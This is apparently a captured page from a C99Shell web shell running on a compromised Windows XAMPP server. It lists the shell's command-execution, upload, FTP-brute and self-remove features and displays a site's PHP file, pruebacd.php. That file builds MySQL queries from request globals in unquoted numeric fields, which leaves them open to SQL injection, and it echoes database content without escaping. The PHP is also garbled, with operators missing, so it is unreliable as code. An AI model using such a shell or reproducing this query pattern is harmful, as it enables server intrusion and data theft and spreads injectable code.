!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\COPIA oab\   drwxrwxrwx
Free 8.8 GB of 239.26 GB (3.68%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pruebacd.php (2.55 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php require_once('Connections/oab.php'); ?>
<?php
$docc_rslistado 
"0";
if (isset(
$documento)) {
  
$docc_rslistado = (get_magic_quotes_gpc()) ? $documento addslashes($documento);
}
$kp_rslistado "0";
if (isset(
$ruta)) {
  
$kp_rslistado = (get_magic_quotes_gpc()) ? $ruta addslashes($ruta);
}
$ks_rslistado "0";
if (isset(
$sm)) {
  
$ks_rslistado = (get_magic_quotes_gpc()) ? $sm addslashes($sm);
}
$tm_rslistado "0";
if (isset(
$tema)) {
  
$tm_rslistado = (get_magic_quotes_gpc()) ? $tema addslashes($tema);
}
mysql_select_db($database_oab$oab);
$query_rslistado sprintf("SELECT idcontenido, titulo, textoinicial, textocompleto FROM contenidos WHERE catP = %s and catS = %s and tema=%s and idcontenido=%s ORDER BY idcontenido"$kp_rslistado,$ks_rslistado,$tm_rslistado,$docc_rslistado);
$rslistado mysql_query($query_rslistado$oab) or die(mysql_error());
$row_rslistado mysql_fetch_assoc($rslistado);
$totalRows_rslistado mysql_num_rows($rslistado);

$docc_rsAnexos "0";
if (isset(
$documento)) {
  
$docc_rsAnexos = (get_magic_quotes_gpc()) ? $documento addslashes($documento);
}
mysql_select_db($database_oab$oab);
$query_rsAnexos sprintf("select titulo, nombre, imagen, enlace from anexos, tipoarchivo where anexos.tipo=tipoarchivo.idtipo AND contenido=%s"$docc_rsAnexos);
$rsAnexos mysql_query($query_rsAnexos$oab) or die(mysql_error());
$row_rsAnexos mysql_fetch_assoc($rsAnexos);
$totalRows_rsAnexos mysql_num_rows($rsAnexos);
?>
<link href="css/ocglobal.css" rel="stylesheet" type="text/css">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td><p> <span class="textoTitulo"><?php echo $row_rslistado['titulo']; ?></span><br>
        <span class="textoNormal"><?php echo $row_rslistado['textoinicial']; ?></span>
        <span class="textoNormal"><?php echo $row_rslistado['textocompleto']; ?></span><br>
      </p></td>
  </tr>
  <tr> 
    <td><br> <hr width="50%" size="5"></td>
  </tr>
</table>
<br>
<?php if ($totalRows_rsAnexos 0) { // Show if recordset not empty ?>
<table width="400" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td>Documentos Anexos a este contenido</td>
  </tr>
  <tr> 
    <td> 
      <?php do { ?>
      <a href="#"><?php echo $row_rsAnexos['titulo']; ?> - <?php echo $row_rsAnexos['imagen']; ?></a><br> 
      <?php } while ($row_rsAnexos mysql_fetch_assoc($rsAnexos)); ?>
    </td>
  </tr>
</table>
<?php // Show if recordset not empty ?>
<br>
<?php
mysql_free_result
($rslistado);

mysql_free_result($rsAnexos);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--